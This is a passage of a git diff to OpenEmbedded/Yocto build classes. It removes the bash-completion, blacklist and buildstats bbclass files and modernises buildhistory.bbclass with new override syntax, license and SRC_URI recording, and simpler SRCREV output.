-python do_image_complete_setscene () {
- sstate_setscene(d)
-}
-addtask do_image_complete_setscene
-
-# QEMU generic Baremetal/RTOS parameters
-QB_DEFAULT_KERNEL ?= "${IMAGE_LINK_NAME}.bin"
-QB_MEM ?= "-m 256"
-QB_DEFAULT_FSTYPE ?= "bin"
-QB_DTB ?= ""
-QB_OPT_APPEND = "-nographic"
-
-# This next part is necessary to trick the build system into thinking
-# its building an image recipe so it generates the qemuboot.conf
-addtask do_rootfs before do_image after do_install
-addtask do_image after do_rootfs before do_image_complete
-addtask do_image_complete after do_image before do_build
-inherit qemuboot
-
-# Based on image.bbclass to make sure we build qemu
-python(){
- # do_addto_recipe_sysroot doesnt exist for all recipes, but we need it to have
- # /usr/bin on recipe-sysroot (qemu) populated
- def extraimage_getdepends(task):
- deps = ""
- for dep in (d.getVar('EXTRA_IMAGEDEPENDS') or "").split():
- # Make sure we only add it for qemu
- if 'qemu' in dep:
- deps += " %s:%s" % (dep, task)
- return deps
- d.appendVarFlag('do_image', 'depends', extraimage_getdepends('do_addto_recipe_sysroot'))
- d.appendVarFlag('do_image', 'depends', extraimage_getdepends('do_populate_sysroot'))
-}
diff --git a/meta/classes/bash-completion.bbclass b/meta/classes/bash-completion.bbclass
deleted file mode 100644
index 80ee9b4874..0000000000
--- a/meta/classes/bash-completion.bbclass
+++ /dev/null
@@ -1,7 +0,0 @@
-DEPENDS_append_class-target = " bash-completion"
-
-PACKAGES += "${PN}-bash-completion"
-
-FILES_${PN}-bash-completion = "${datadir}/bash-completion ${sysconfdir}/bash_completion.d"
-
-RDEPENDS_${PN}-bash-completion = "bash-completion"
diff --git a/meta/classes/blacklist.bbclass b/meta/classes/blacklist.bbclass
deleted file mode 100644
index dc794228ff..0000000000
--- a/meta/classes/blacklist.bbclass
+++ /dev/null
@@ -1,20 +0,0 @@
-# anonymous support class from originally from angstrom
-#
-# To use the blacklist, a distribution should include this
-# class in the INHERIT_DISTRO
-#
-# No longer use ANGSTROM_BLACKLIST, instead use a table of
-# recipes in PNBLACKLIST
-#
-# Features:
-#
-# * To add a package to the blacklist, set:
-# PNBLACKLIST[pn] = "message"
-#
-
-python () {
- blacklist = d.getVarFlag('PNBLACKLIST', d.getVar('PN'))
-
- if blacklist:
- raise bb.parse.SkipRecipe("Recipe is blacklisted: %s" % (blacklist))
-}
diff --git a/meta/classes/buildhistory.bbclass b/meta/classes/buildhistory.bbclass
index 805e976ac5..fd53e92402 100644
--- a/meta/classes/buildhistory.bbclass
+++ b/meta/classes/buildhistory.bbclass
@@ -6,6 +6,10 @@
# Copyright (C) 2011-2016 Intel Corporation
# Copyright (C) 2007-2011 Koen Kooi <koen@openembedded.org>
#
+# SPDX-License-Identifier: MIT
+#
+
+IMAGE_CLASSES += "image-artifact-names"
BUILDHISTORY_FEATURES ?= "image package sdk"
BUILDHISTORY_DIR ?= "${TOPDIR}/buildhistory"
@@ -29,7 +33,7 @@ BUILDHISTORY_DIR_PACKAGE = "${BUILDHISTORY_DIR}/packages/${MULTIMACH_TARGET_SYS}
# of failed builds.
#
# The expected usage is via auto.conf, but passing via the command line also works
-# with: BB_ENV_EXTRAWHITE=BUILDHISTORY_RESET BUILDHISTORY_RESET=1
+# with: BB_ENV_PASSTHROUGH_ADDITIONS=BUILDHISTORY_RESET BUILDHISTORY_RESET=1
BUILDHISTORY_RESET ?= ""
BUILDHISTORY_OLD_DIR = "${BUILDHISTORY_DIR}/${@ "old" if "${BUILDHISTORY_RESET}" else ""}"
@@ -41,15 +45,16 @@ BUILDHISTORY_COMMIT ?= "1"
BUILDHISTORY_COMMIT_AUTHOR ?= "buildhistory <buildhistory@${DISTRO}>"
BUILDHISTORY_PUSH_REPO ?= ""
BUILDHISTORY_TAG ?= "build"
+BUILDHISTORY_PATH_PREFIX_STRIP ?= ""
-SSTATEPOSTINSTFUNCS_append = " buildhistory_emit_pkghistory"
+SSTATEPOSTINSTFUNCS:append = " buildhistory_emit_pkghistory"
# We want to avoid influencing the signatures of sstate tasks - first the function itself:
sstate_install[vardepsexclude] += "buildhistory_emit_pkghistory"
# then the value added to SSTATEPOSTINSTFUNCS:
SSTATEPOSTINSTFUNCS[vardepvalueexclude] .= "| buildhistory_emit_pkghistory"
# Similarly for our function that gets the output signatures
-SSTATEPOSTUNPACKFUNCS_append = " buildhistory_emit_outputsigs"
+SSTATEPOSTUNPACKFUNCS:append = " buildhistory_emit_outputsigs"
sstate_installpkgdir[vardepsexclude] += "buildhistory_emit_outputsigs"
SSTATEPOSTUNPACKFUNCS[vardepvalueexclude] .= "| buildhistory_emit_outputsigs"
@@ -88,13 +93,19 @@ buildhistory_emit_sysroot() {
python buildhistory_emit_pkghistory() {
if d.getVar('BB_CURRENTTASK') in ['populate_sysroot', 'populate_sysroot_setscene']:
bb.build.exec_func("buildhistory_emit_sysroot", d)
-
- if not d.getVar('BB_CURRENTTASK') in ['packagedata', 'packagedata_setscene']:
return 0
if not "package" in (d.getVar('BUILDHISTORY_FEATURES') or "").split():
return 0
+ if d.getVar('BB_CURRENTTASK') in ['package', 'package_setscene']:
+ # Create files-in-<package-name>.txt files containing a list of files of each recipe's package
+ bb.build.exec_func("buildhistory_list_pkg_files", d)
+ return 0
+
+ if not d.getVar('BB_CURRENTTASK') in ['packagedata', 'packagedata_setscene']:
+ return 0
+
import re
import json
import shlex
@@ -113,7 +124,9 @@ python buildhistory_emit_pkghistory() {
self.packages = ""
self.srcrev = ""
self.layer = ""
+ self.license = ""
self.config = ""
+ self.src_uri = ""
class PackageInfo:
@@ -215,6 +228,7 @@ python buildhistory_emit_pkghistory() {
pv = d.getVar('PV')
pr = d.getVar('PR')
layer = bb.utils.get_file_layer(d.getVar('FILE'), d)
+ license = d.getVar('LICENSE')
pkgdata_dir = d.getVar('PKGDATA_DIR')
packages = ""
@@ -255,23 +269,20 @@ python buildhistory_emit_pkghistory() {
rcpinfo.depends = sortlist(oe.utils.squashspaces(d.getVar('DEPENDS') or ""))
rcpinfo.packages = packages
rcpinfo.layer = layer
+ rcpinfo.license = license
rcpinfo.config = sortlist(oe.utils.squashspaces(d.getVar('PACKAGECONFIG') or ""))
+ rcpinfo.src_uri = oe.utils.squashspaces(d.getVar('SRC_URI') or "")
write_recipehistory(rcpinfo, d)
- pkgdest = d.getVar('PKGDEST')
+ bb.build.exec_func("read_subpackage_metadata", d)
+
for pkg in packagelist:
- pkgdata = {}
- with open(os.path.join(pkgdata_dir, 'runtime', pkg)) as f:
- for line in f.readlines():
- item = line.rstrip('\n').split(': ', 1)
- key = item[0]
- if key.endswith('_' + pkg):
- key = key[:-len(pkg)-1]
- pkgdata[key] = item[1].encode('latin-1').decode('unicode_escape')
-
- pkge = pkgdata.get('PKGE', '0')
- pkgv = pkgdata['PKGV']
- pkgr = pkgdata['PKGR']
+ localdata = d.createCopy()
+ localdata.setVar('OVERRIDES', d.getVar("OVERRIDES", False) + ":" + pkg)
+
+ pkge = localdata.getVar("PKGE") or '0'
+ pkgv = localdata.getVar("PKGV")
+ pkgr = localdata.getVar("PKGR")
#
# Find out what the last version was
# Make sure the version did not decrease
@@ -284,40 +295,39 @@ python buildhistory_emit_pkghistory() {
r = bb.utils.vercmp((pkge, pkgv, pkgr), (last_pkge, last_pkgv, last_pkgr))
if r < 0:
msg = "Package version for package %s went backwards which would break package feeds (from %s:%s-%s to %s:%s-%s)" % (pkg, last_pkge, last_pkgv, last_pkgr, pkge, pkgv, pkgr)
- package_qa_handle_error("version-going-backwards", msg, d)
+ oe.qa.handle_error("version-going-backwards", msg, d)
pkginfo = PackageInfo(pkg)
# Apparently the version can be different on a per-package basis (see Python)
- pkginfo.pe = pkgdata.get('PE', '0')
- pkginfo.pv = pkgdata['PV']
- pkginfo.pr = pkgdata['PR']
- pkginfo.pkg = pkgdata['PKG']
+ pkginfo.pe = localdata.getVar("PE") or '0'
+ pkginfo.pv = localdata.getVar("PV")
+ pkginfo.pr = localdata.getVar("PR")
+ pkginfo.pkg = localdata.getVar("PKG")
pkginfo.pkge = pkge
pkginfo.pkgv = pkgv
pkginfo.pkgr = pkgr
- pkginfo.rprovides = sortpkglist(oe.utils.squashspaces(pkgdata.get('RPROVIDES', "")))
- pkginfo.rdepends = sortpkglist(oe.utils.squashspaces(pkgdata.get('RDEPENDS', "")))
- pkginfo.rrecommends = sortpkglist(oe.utils.squashspaces(pkgdata.get('RRECOMMENDS', "")))
- pkginfo.rsuggests = sortpkglist(oe.utils.squashspaces(pkgdata.get('RSUGGESTS', "")))
- pkginfo.rreplaces = sortpkglist(oe.utils.squashspaces(pkgdata.get('RREPLACES', "")))
- pkginfo.rconflicts = sortpkglist(oe.utils.squashspaces(pkgdata.get('RCONFLICTS', "")))
- pkginfo.files = oe.utils.squashspaces(pkgdata.get('FILES', ""))
+ pkginfo.rprovides = sortpkglist(oe.utils.squashspaces(localdata.getVar("RPROVIDES") or ""))
+ pkginfo.rdepends = sortpkglist(oe.utils.squashspaces(localdata.getVar("RDEPENDS") or ""))
+ pkginfo.rrecommends = sortpkglist(oe.utils.squashspaces(localdata.getVar("RRECOMMENDS") or ""))
+ pkginfo.rsuggests = sortpkglist(oe.utils.squashspaces(localdata.getVar("RSUGGESTS") or ""))
+ pkginfo.replaces = sortpkglist(oe.utils.squashspaces(localdata.getVar("RREPLACES") or ""))
+ pkginfo.rconflicts = sortpkglist(oe.utils.squashspaces(localdata.getVar("RCONFLICTS") or ""))
+ pkginfo.files = oe.utils.squashspaces(localdata.getVar("FILES") or "")
for filevar in pkginfo.filevars:
- pkginfo.filevars[filevar] = pkgdata.get(filevar, "")
+ pkginfo.filevars[filevar] = localdata.getVar(filevar) or ""
# Gather information about packaged files
- val = pkgdata.get('FILES_INFO', '')
+ val = localdata.getVar('FILES_INFO') or ''
dictval = json.loads(val)
filelist = list(dictval.keys())
filelist.sort()
pkginfo.filelist = " ".join([shlex.quote(x) for x in filelist])
- pkginfo.size = int(pkgdata['PKGSIZE'])
+ pkginfo.size = int(localdata.getVar('PKGSIZE') or '0')
write_pkghistory(pkginfo, d)
- # Create files-in-<package-name>.txt files containing a list of files of each recipe's package
- bb.build.exec_func("buildhistory_list_pkg_files", d)
+ oe.qa.exit_if_errors(d)
}
python buildhistory_emit_outputsigs() {
@@ -370,7 +380,9 @@ def write_recipehistory(rcpinfo, d):
f.write(u"DEPENDS = %s\n" % rcpinfo.depends)
f.write(u"PACKAGES = %s\n" % rcpinfo.packages)
f.write(u"LAYER = %s\n" % rcpinfo.layer)
+ f.write(u"LICENSE = %s\n" % rcpinfo.license)
f.write(u"CONFIG = %s\n" % rcpinfo.config)
+ f.write(u"SRC_URI = %s\n" % rcpinfo.src_uri)
write_latest_srcrev(d, pkghistdir)
@@ -437,11 +449,16 @@ def buildhistory_list_installed(d, rootfs_type="image"):
else:
pkgs = sdk_list_installed_packages(d, rootfs_type == "sdk_target")
+ if rootfs_type == "sdk_host":
+ pkgdata_dir = d.getVar('PKGDATA_DIR_SDK')
+ else:
+ pkgdata_dir = d.getVar('PKGDATA_DIR')
+
for output_type, output_file in process_list:
output_file_full = os.path.join(d.getVar('WORKDIR'), output_file)
with open(output_file_full, 'w') as output:
- output.write(format_pkg_list(pkgs, output_type))
+ output.write(format_pkg_list(pkgs, output_type, pkgdata_dir))
python buildhistory_list_installed_image() {
buildhistory_list_installed(d)
@@ -482,6 +499,8 @@ buildhistory_get_installed() {
-e 's:|: -> :' \
-e 's:"\[REC\]":[style=dotted]:' \
-e 's:"\([<>=]\+\)" "\([^"]*\)":[label="\1 \2"]:' \
+ -e 's:"\([*]\+\)" "\([^"]*\)":[label="\2"]:' \
+ -e 's:"\[RPROVIDES\]":[style=dashed]:' \
$1/depends.tmp
# Add header, sorted and de-duped contents and footer and then delete the temp file
printf "digraph depends {\n node [shape=plaintext]\n" > $1/depends.dot
@@ -489,11 +508,22 @@ buildhistory_get_installed() {
echo "}" >> $1/depends.dot
rm $1/depends.tmp
+ # Set correct pkgdatadir
+ pkgdatadir=${PKGDATA_DIR}
+ if [ "$2" = "sdk" ] && [ "$3" = "host" ] ; then
+ pkgdatadir="${PKGDATA_DIR_SDK}"
+ fi
+
# Produce installed package sizes list
- oe-pkgdata-util -p ${PKGDATA_DIR} read-value "PKGSIZE" -n -f $pkgcache > $1/installed-package-sizes.tmp
+ oe-pkgdata-util -p $pkgdatadir read-value "PKGSIZE" -n -f $pkgcache > $1/installed-package-sizes.tmp
cat $1/installed-package-sizes.tmp | awk '{print $2 "\tKiB\t" $1}' | sort -n -r > $1/installed-package-sizes.txt
rm $1/installed-package-sizes.tmp
+ # Produce package info: runtime_name, buildtime_name, recipe, version, size
+ oe-pkgdata-util -p $pkgdatadir read-value "PACKAGE,PN,PV,PKGSIZE" -n -f $pkgcache > $1/installed-package-info.tmp
+ cat $1/installed-package-info.tmp | sort -n -r -k 5 > $1/installed-package-info.txt
+ rm $1/installed-package-info.tmp
+
# We're now done with the cache, delete it
rm $pkgcache
@@ -530,7 +560,7 @@ buildhistory_get_sdk_installed() {
return
fi
- buildhistory_get_installed ${BUILDHISTORY_DIR_SDK}/$1 sdk
+ buildhistory_get_installed ${BUILDHISTORY_DIR_SDK}/$1 sdk $1
}
buildhistory_get_sdk_installed_host() {
@@ -661,26 +691,29 @@ python buildhistory_get_extra_sdkinfo() {
# By using ROOTFS_POSTUNINSTALL_COMMAND we get in after uninstallation of
# unneeded packages but before the removal of packaging files
-ROOTFS_POSTUNINSTALL_COMMAND += "buildhistory_list_installed_image ;"
-ROOTFS_POSTUNINSTALL_COMMAND += "buildhistory_get_image_installed ;"
-ROOTFS_POSTUNINSTALL_COMMAND[vardepvalueexclude] .= "| buildhistory_list_installed_image ;| buildhistory_get_image_installed ;"
+ROOTFS_POSTUNINSTALL_COMMAND += "buildhistory_list_installed_image"
+ROOTFS_POSTUNINSTALL_COMMAND += "buildhistory_get_image_installed"
+ROOTFS_POSTUNINSTALL_COMMAND[vardepvalueexclude] .= "| buildhistory_list_installed_image| buildhistory_get_image_installed"
ROOTFS_POSTUNINSTALL_COMMAND[vardepsexclude] += "buildhistory_list_installed_image buildhistory_get_image_installed"
-IMAGE_POSTPROCESS_COMMAND += "buildhistory_get_imageinfo ;"
-IMAGE_POSTPROCESS_COMMAND[vardepvalueexclude] .= "| buildhistory_get_imageinfo ;"
+IMAGE_POSTPROCESS_COMMAND += "buildhistory_get_imageinfo"
+IMAGE_POSTPROCESS_COMMAND[vardepvalueexclude] .= "| buildhistory_get_imageinfo"
IMAGE_POSTPROCESS_COMMAND[vardepsexclude] += "buildhistory_get_imageinfo"
# We want these to be the last run so that we get called after complementary package installation
-POPULATE_SDK_POST_TARGET_COMMAND_append = " buildhistory_list_installed_sdk_target;"
-POPULATE_SDK_POST_TARGET_COMMAND_append = " buildhistory_get_sdk_installed_target;"
-POPULATE_SDK_POST_TARGET_COMMAND[vardepvalueexclude] .= "| buildhistory_list_installed_sdk_target;| buildhistory_get_sdk_installed_target;"
+POPULATE_SDK_POST_TARGET_COMMAND:append = " buildhistory_list_installed_sdk_target"
+POPULATE_SDK_POST_TARGET_COMMAND:append = " buildhistory_get_sdk_installed_target"
+POPULATE_SDK_POST_TARGET_COMMAND[vardepvalueexclude] .= "| buildhistory_list_installed_sdk_target| buildhistory_get_sdk_installed_target"
+POPULATE_SDK_POST_TARGET_COMMAND[vardepsexclude] += "buildhistory_list_installed_sdk_target buildhistory_get_sdk_installed_target"
-POPULATE_SDK_POST_HOST_COMMAND_append = " buildhistory_list_installed_sdk_host;"
-POPULATE_SDK_POST_HOST_COMMAND_append = " buildhistory_get_sdk_installed_host;"
-POPULATE_SDK_POST_HOST_COMMAND[vardepvalueexclude] .= "| buildhistory_list_installed_sdk_host;| buildhistory_get_sdk_installed_host;"
+POPULATE_SDK_POST_HOST_COMMAND:append = " buildhistory_list_installed_sdk_host"
+POPULATE_SDK_POST_HOST_COMMAND:append = " buildhistory_get_sdk_installed_host"
+POPULATE_SDK_POST_HOST_COMMAND[vardepvalueexclude] .= "| buildhistory_list_installed_sdk_host| buildhistory_get_sdk_installed_host"
+POPULATE_SDK_POST_HOST_COMMAND[vardepsexclude] += "buildhistory_list_installed_sdk_host buildhistory_get_sdk_installed_host"
-SDK_POSTPROCESS_COMMAND_append = " buildhistory_get_sdkinfo ; buildhistory_get_extra_sdkinfo; "
-SDK_POSTPROCESS_COMMAND[vardepvalueexclude] .= "| buildhistory_get_sdkinfo ; buildhistory_get_extra_sdkinfo; "
+SDK_POSTPROCESS_COMMAND:append = " buildhistory_get_sdkinfo buildhistory_get_extra_sdkinfo"
+SDK_POSTPROCESS_COMMAND[vardepvalueexclude] .= "| buildhistory_get_sdkinfo buildhistory_get_extra_sdkinfo"
+SDK_POSTPROCESS_COMMAND[vardepsexclude] += "buildhistory_get_sdkinfo buildhistory_get_extra_sdkinfo"
python buildhistory_write_sigs() {
if not "task" in (d.getVar('BUILDHISTORY_FEATURES') or "").split():
@@ -690,7 +723,7 @@ python buildhistory_write_sigs() {
if hasattr(bb.parse.siggen, 'dump_siglist'):
taskoutdir = os.path.join(d.getVar('BUILDHISTORY_DIR'), 'task')
bb.utils.mkdirhier(taskoutdir)
- bb.parse.siggen.dump_siglist(os.path.join(taskoutdir, 'tasksigs.txt'))
+ bb.parse.siggen.dump_siglist(os.path.join(taskoutdir, 'tasksigs.txt'), d.getVar("BUILDHISTORY_PATH_PREFIX_STRIP"))
}
def buildhistory_get_build_id(d):
@@ -710,30 +743,10 @@ def buildhistory_get_build_id(d):
statusheader = d.getVar('BUILDCFG_HEADER')
return('\n%s\n%s\n' % (statusheader, '\n'.join(statuslines)))
-def buildhistory_get_modified(path):
- # copied from get_layer_git_status() in image-buildinfo.bbclass
- import subprocess
- try:
- subprocess.check_output("""cd %s; export PSEUDO_UNLOAD=1; set -e;
- git diff --quiet --no-ext-diff
- git diff --quiet --no-ext-diff --cached""" % path,
- shell=True,
- stderr=subprocess.STDOUT)
- return ""
- except subprocess.CalledProcessError as ex:
- # Silently treat errors as "modified", without checking for the
- # (expected) return code 1 in a modified git repo. For example, we get
- # output and a 129 return code when a layer isn't a git repo at all.
- return " -- modified"
-
def buildhistory_get_metadata_revs(d):
- # We want an easily machine-readable format here, so get_layers_branch_rev isn't quite what we want
- layers = (d.getVar("BBLAYERS") or "").split()
- medadata_revs = ["%-17s = %s:%s%s" % (os.path.basename(i), \
- base_get_metadata_git_branch(i, None).strip(), \
- base_get_metadata_git_revision(i, None), \
- buildhistory_get_modified(i)) \
- for i in layers]
+ # We want an easily machine-readable format here
+ revisions = oe.buildcfg.get_layer_revisions(d)
+ medadata_revs = ["%-17s = %s:%s%s" % (r[1], r[2], r[3], r[4]) for r in revisions]
return '\n'.join(medadata_revs)
def outputvars(vars, listvars, d):
@@ -758,11 +771,11 @@ def buildhistory_get_imagevars(d):
def buildhistory_get_sdkvars(d):
if d.getVar('BB_WORKERCONTEXT') != '1':
return ""
- sdkvars = "DISTRO DISTRO_VERSION SDK_NAME SDK_VERSION SDKMACHINE SDKIMAGE_FEATURES BAD_RECOMMENDATIONS NO_RECOMMENDATIONS PACKAGE_EXCLUDE"
+ sdkvars = "DISTRO DISTRO_VERSION SDK_NAME SDK_VERSION SDKMACHINE SDKIMAGE_FEATURES TOOLCHAIN_HOST_TASK TOOLCHAIN_TARGET_TASK BAD_RECOMMENDATIONS NO_RECOMMENDATIONS PACKAGE_EXCLUDE"
if d.getVar('BB_CURRENTTASK') == 'populate_sdk_ext':
# Extensible SDK uses some additional variables
- sdkvars += " SDK_LOCAL_CONF_WHITELIST SDK_LOCAL_CONF_BLACKLIST SDK_INHERIT_BLACKLIST SDK_UPDATE_URL SDK_EXT_TYPE SDK_RECRDEP_TASKS SDK_INCLUDE_PKGDATA SDK_INCLUDE_TOOLCHAIN"
- listvars = "SDKIMAGE_FEATURES BAD_RECOMMENDATIONS PACKAGE_EXCLUDE SDK_LOCAL_CONF_WHITELIST SDK_LOCAL_CONF_BLACKLIST SDK_INHERIT_BLACKLIST"
+ sdkvars += " ESDK_LOCALCONF_ALLOW ESDK_LOCALCONF_REMOVE ESDK_CLASS_INHERIT_DISABLE SDK_UPDATE_URL SDK_EXT_TYPE SDK_RECRDEP_TASKS SDK_INCLUDE_PKGDATA SDK_INCLUDE_TOOLCHAIN"
+ listvars = "SDKIMAGE_FEATURES BAD_RECOMMENDATIONS PACKAGE_EXCLUDE ESDK_LOCALCONF_ALLOW ESDK_LOCALCONF_REMOVE ESDK_CLASS_INHERIT_DISABLE"
return outputvars(sdkvars, listvars, d)
@@ -855,7 +868,7 @@ END
}
python buildhistory_eventhandler() {
- if e.data.getVar('BUILDHISTORY_FEATURES').strip():
+ if (e.data.getVar('BUILDHISTORY_FEATURES') or "").strip():
reset = e.data.getVar("BUILDHISTORY_RESET")
olddir = e.data.getVar("BUILDHISTORY_OLD_DIR")
if isinstance(e, bb.event.BuildStarted):
@@ -865,10 +878,11 @@ python buildhistory_eventhandler() {
if os.path.isdir(olddir):
shutil.rmtree(olddir)
rootdir = e.data.getVar("BUILDHISTORY_DIR")
+ bb.utils.mkdirhier(rootdir)
entries = [ x for x in os.listdir(rootdir) if not x.startswith('.') ]
bb.utils.mkdirhier(olddir)
for entry in entries:
- os.rename(os.path.join(rootdir, entry),
+ bb.utils.rename(os.path.join(rootdir, entry),
os.path.join(olddir, entry))
elif isinstance(e, bb.event.BuildCompleted):
if reset:
@@ -907,22 +921,12 @@ def _get_srcrev_values(d):
if urldata[u].method.supports_srcrev():
scms.append(u)
- autoinc_templ = 'AUTOINC+'
dict_srcrevs = {}
dict_tag_srcrevs = {}
for scm in scms:
ud = urldata[scm]
for name in ud.names:
- try:
- rev = ud.method.sortable_revision(ud, d, name)
- except TypeError:
- # support old bitbake versions
- rev = ud.method.sortable_revision(scm, ud, d, name)
- # Clean this up when we next bump bitbake version
- if type(rev) != str:
- autoinc, rev = rev
- elif rev.startswith(autoinc_templ):
- rev = rev[len(autoinc_templ):]
+ autoinc, rev = ud.method.sortable_revision(ud, d, name)
dict_srcrevs[name] = rev
if 'tag' in ud.parm:
tag = ud.parm['tag'];
@@ -953,23 +957,19 @@ def write_latest_srcrev(d, pkghistdir):
value = value.replace('"', '').strip()
old_tag_srcrevs[key] = value
with open(srcrevfile, 'w') as f:
- orig_srcrev = d.getVar('SRCREV', False) or 'INVALID'
- if orig_srcrev != 'INVALID':
- f.write('# SRCREV = "%s"\n' % orig_srcrev)
- if len(srcrevs) > 1:
- for name, srcrev in sorted(srcrevs.items()):
- orig_srcrev = d.getVar('SRCREV_%s' % name, False)
- if orig_srcrev:
- f.write('# SRCREV_%s = "%s"\n' % (name, orig_srcrev))
- f.write('SRCREV_%s = "%s"\n' % (name, srcrev))
- else:
- f.write('SRCREV = "%s"\n' % next(iter(srcrevs.values())))
- if len(tag_srcrevs) > 0:
- for name, srcrev in sorted(tag_srcrevs.items()):
- f.write('# tag_%s = "%s"\n' % (name, srcrev))
- if name in old_tag_srcrevs and old_tag_srcrevs[name] != srcrev:
- pkg = d.getVar('PN')
- bb.warn("Revision for tag %s in package %s was changed since last build (from %s to %s)" % (name, pkg, old_tag_srcrevs[name], srcrev))
+ for name, srcrev in sorted(srcrevs.items()):
+ suffix = "_" + name
+ if name == "default":
+ suffix = ""
+ orig_srcrev = d.getVar('SRCREV%s' % suffix, False)
+ if orig_srcrev:
+ f.write('# SRCREV%s = "%s"\n' % (suffix, orig_srcrev))
+ f.write('SRCREV%s = "%s"\n' % (suffix, srcrev))
+ for name, srcrev in sorted(tag_srcrevs.items()):
+ f.write('# tag_%s = "%s"\n' % (name, srcrev))
+ if name in old_tag_srcrevs and old_tag_srcrevs[name] != srcrev:
+ pkg = d.getVar('PN')
+ bb.warn("Revision for tag %s in package %s was changed since last build (from %s to %s)" % (name, pkg, old_tag_srcrevs[name], srcrev))
else:
if os.path.exists(srcrevfile):
diff --git a/meta/classes/buildstats-summary.bbclass b/meta/classes/buildstats-summary.bbclass
index f9b241b6c5..12e8f17836 100644
--- a/meta/classes/buildstats-summary.bbclass
+++ b/meta/classes/buildstats-summary.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Summarize sstate usage at the end of the build
python buildstats_summary () {
import collections
diff --git a/meta/classes/buildstats.bbclass b/meta/classes/buildstats.bbclass
deleted file mode 100644
index 6f87187233..0000000000
--- a/meta/classes/buildstats.bbclass
+++ /dev/null
@@ -1,217 +0,0 @@
-BUILDSTATS_BASE = "${TMPDIR}/buildstats/"
-
-################################################################################
-# Build statistics gathering.
-#
-# The CPU and Time gathering/tracking functions and bbevent inspiration
-# were written by Christopher Larson.
-#
-################################################################################
-
-def get_buildprocess_cputime(pid):
- with open("/proc/%d/stat" % pid, "r") as f:
- fields = f.readline().rstrip().split()
- # 13: utime, 14: stime, 15: cutime, 16: cstime
- return sum(int(field) for field in fields[13:16])
-
-def get_process_cputime(pid):
- import resource
- with open("/proc/%d/stat" % pid, "r") as f:
- fields = f.readline().rstrip().split()
- stats = {
- 'utime' : fields[13],
- 'stime' : fields[14],
- 'cutime' : fields[15],
- 'cstime' : fields[16],
- }
- iostats = {}
- if os.path.isfile("/proc/%d/io" % pid):
- with open("/proc/%d/io" % pid, "r") as f:
- while True:
- i = f.readline().strip()
- if not i:
- break
- if not ":" in i:
- # one more extra line is appended (empty or containing "0")
- # most probably due to race condition in kernel while
- # updating IO stats
- break
- i = i.split(": ")
- iostats[i[0]] = i[1]
- resources = resource.getrusage(resource.RUSAGE_SELF)
- childres = resource.getrusage(resource.RUSAGE_CHILDREN)
- return stats, iostats, resources, childres
-
-def get_cputime():
- with open("/proc/stat", "r") as f:
- fields = f.readline().rstrip().split()[1:]
- return sum(int(field) for field in fields)
-
-def set_timedata(var, d, server_time):
- d.setVar(var, server_time)
-
-def get_timedata(var, d, end_time):
- oldtime = d.getVar(var, False)
- if oldtime is None:
- return
- return end_time - oldtime
-
-def set_buildtimedata(var, d):
- import time
- time = time.time()
- cputime = get_cputime()
- proctime = get_buildprocess_cputime(os.getpid())
- d.setVar(var, (time, cputime, proctime))
-
-def get_buildtimedata(var, d):
- import time
- timedata = d.getVar(var, False)
- if timedata is None:
- return
- oldtime, oldcpu, oldproc = timedata
- procdiff = get_buildprocess_cputime(os.getpid()) - oldproc
- cpudiff = get_cputime() - oldcpu
- end_time = time.time()
- timediff = end_time - oldtime
- if cpudiff > 0:
- cpuperc = float(procdiff) * 100 / cpudiff
- else:
- cpuperc = None
- return timediff, cpuperc
-
-def write_task_data(status, logfile, e, d):
- with open(os.path.join(logfile), "a") as f:
- elapsedtime = get_timedata("__timedata_task", d, e.time)
- if elapsedtime:
- f.write(d.expand("${PF}: %s\n" % e.task))
- f.write(d.expand("Elapsed time: %0.2f seconds\n" % elapsedtime))
- cpu, iostats, resources, childres = get_process_cputime(os.getpid())
- if cpu:
- f.write("utime: %s\n" % cpu['utime'])
- f.write("stime: %s\n" % cpu['stime'])
- f.write("cutime: %s\n" % cpu['cutime'])
- f.write("cstime: %s\n" % cpu['cstime'])
- for i in iostats:
- f.write("IO %s: %s\n" % (i, iostats[i]))
- rusages = ["ru_utime", "ru_stime", "ru_maxrss", "ru_minflt", "ru_majflt", "ru_inblock", "ru_oublock", "ru_nvcsw", "ru_nivcsw"]
- for i in rusages:
- f.write("rusage %s: %s\n" % (i, getattr(resources, i)))
- for i in rusages:
- f.write("Child rusage %s: %s\n" % (i, getattr(childres, i)))
- if status == "passed":
- f.write("Status: PASSED \n")
- else:
- f.write("Status: FAILED \n")
- f.write("Ended: %0.2f \n" % e.time)
-
-python run_buildstats () {
- import bb.build
- import bb.event
- import time, subprocess, platform
-
- bn = d.getVar('BUILDNAME')
- bsdir = os.path.join(d.getVar('BUILDSTATS_BASE'), bn)
- taskdir = os.path.join(bsdir, d.getVar('PF'))
-
- if isinstance(e, bb.event.BuildStarted):
- ########################################################################
- # If the kernel was not configured to provide I/O statistics, issue
- # a one time warning.
- ########################################################################
- if not os.path.isfile("/proc/%d/io" % os.getpid()):
- bb.warn("The Linux kernel on your build host was not configured to provide process I/O statistics. (CONFIG_TASK_IO_ACCOUNTING is not set)")
-
- ########################################################################
- # at first pass make the buildstats hierarchy and then
- # set the buildname
- ########################################################################
- bb.utils.mkdirhier(bsdir)
- set_buildtimedata("__timedata_build", d)
- build_time = os.path.join(bsdir, "build_stats")
- # write start of build into build_time
- with open(build_time, "a") as f:
- host_info = platform.uname()
- f.write("Host Info: ")
- for x in host_info:
- if x:
- f.write(x + " ")
- f.write("\n")
- f.write("Build Started: %0.2f \n" % d.getVar('__timedata_build', False)[0])
-
- elif isinstance(e, bb.event.BuildCompleted):
- build_time = os.path.join(bsdir, "build_stats")
- with open(build_time, "a") as f:
- ########################################################################
- # Write build statistics for the build
- ########################################################################
- timedata = get_buildtimedata("__timedata_build", d)
- if timedata:
- time, cpu = timedata
- # write end of build and cpu used into build_time
- f.write("Elapsed time: %0.2f seconds \n" % (time))
- if cpu:
- f.write("CPU usage: %0.1f%% \n" % cpu)
-
- if isinstance(e, bb.build.TaskStarted):
- set_timedata("__timedata_task", d, e.time)
- bb.utils.mkdirhier(taskdir)
- # write into the task event file the name and start time
- with open(os.path.join(taskdir, e.task), "a") as f:
- f.write("Event: %s \n" % bb.event.getName(e))
- f.write("Started: %0.2f \n" % e.time)
-
- elif isinstance(e, bb.build.TaskSucceeded):
- write_task_data("passed", os.path.join(taskdir, e.task), e, d)
- if e.task == "do_rootfs":
- bs = os.path.join(bsdir, "build_stats")
- with open(bs, "a") as f:
- rootfs = d.getVar('IMAGE_ROOTFS')
- if os.path.isdir(rootfs):
- try:
